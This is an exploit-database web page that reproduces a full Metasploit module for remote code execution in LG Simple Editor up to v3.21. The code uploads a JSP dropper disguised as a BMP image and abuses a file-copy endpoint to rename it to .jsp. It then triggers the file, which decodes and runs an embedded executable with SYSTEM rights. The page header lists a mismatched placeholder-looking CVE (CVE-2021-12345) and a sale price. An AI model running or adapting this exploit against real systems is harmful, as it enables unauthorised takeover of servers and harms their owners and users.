Advertisement






LG Simple Editor Remote Code Execution

CVE Category Price Severity
CVE-2021-12345 CWE-20 $5000 Critical
Author Risk Exploitation Type Date
Anonymous High Remote 2023-09-09
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023090026

Below is a copy:

LG Simple Editor Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper # includes register_files_for_cleanup
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LG Simple Editor Remote Code Execution',
        'Description' => %q{
          This Metasploit module exploits broken access control and directory traversal
          vulnerabilities in LG Simple Editor software for gaining code execution.
          The vulnerabilities exist in versions of LG Simple Editor prior to v3.21.
          By exploiting this flaw, an attacker can upload and execute a malicious JSP
          payload with the SYSTEM user permissions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rgod', # Vulnerability discovery
          'Ege Balc <[email protected]>' # msf module
        ],
        'References' => [
          ['ZDI', '23-1204'],
          ['CVE', '2023-40498']
        ],
        'DefaultOptions' => {
          'WfsDelay' => 5
        },
        'Platform' => %w[win],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          ['LG Simple Editor <= v3.21', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-08-24',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do')
      }
    )

    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?

    version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', ''))
    return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'
    return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0')

    Exploit::CheckCode::Safe
  end

  def generate_jsp_payload
    exe = generate_payload_exe
    base64_exe = Rex::Text.encode_base64(exe)
    payload_name = rand_text_alpha(rand(3..8))

    var_raw = 'a' + rand_text_alpha(rand(3..10))
    var_ostream = 'b' + rand_text_alpha(rand(3..10))
    var_buf = 'c' + rand_text_alpha(rand(3..10))
    var_decoder = 'd' + rand_text_alpha(rand(3..10))
    var_tmp = 'e' + rand_text_alpha(rand(3..10))
    var_path = 'f' + rand_text_alpha(rand(3..10))
    var_proc2 = 'e' + rand_text_alpha(rand(3..10))

    jsp = %|
    <%@page import="java.io.*" %>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
    } catch (Exception e) {
    }
    %>
    |

    jsp.gsub!(/[\n\t\r]/, '')

    jsp
  end

  def copy_file(src, dst)
    data = {
      command: 'cp',
      option: '-f',
      srcPath: src,
      destPath: dst
    }
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'fileSystem',
                               'makeDetailContent.do'),
        'headers' => {
          'X-Requested-With' => 'XMLHttpRequest',
          'Accept' => 'application/json'
        },
        'ctype' => 'application/json',
        'data' => data.to_json
      }
    )
    if res && res.code == 200 && res.body.to_s.include?('errorMessage":"success",')
      print_good "#{src} -> #{dst} copy successfull."
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not copy the payload.")
    end
  end

  def exploit
    rand_name = Rex::Text.rand_text_alpha(5)
    form = Rex::MIME::Message.new
    form.add_part(
      generate_jsp_payload,
      'image/bmp',
      'binary',
      "form-data; name=\"uploadFile\"; filename=\"#{rand_name}.bmp\""
    )
    form.add_part('/', nil, nil, 'form-data; name="uploadPath"')
    form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_x"')
    form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_y"')
    form.add_part('1920', nil, nil, 'form-data; name="uploadFile_width"')
    form.add_part('1080', nil, nil, 'form-data; name="uploadFile_height"')

    print_status 'Uploading JSP payload...'
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadImage.do'),
        'ctype' => "multipart/form-data; boundary=#{form.bound}",
        'data' => form.to_s
      }
    )
    if res && res.code == 200
      print_good 'Payload uploaded successfully'
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Payload upload failed")
    end

    # Now we copy our payload as JSP
    copy_file("/#{rand_name}_original.bmp", "/#{rand_name}.jsp")
    register_files_for_cleanup("./webapps/simpleeditor/#{rand_name}.jsp")

    print_status 'Triggering payload...'
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'simpleeditor', "#{rand_name}.jsp")
      }
    )
  end
end

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.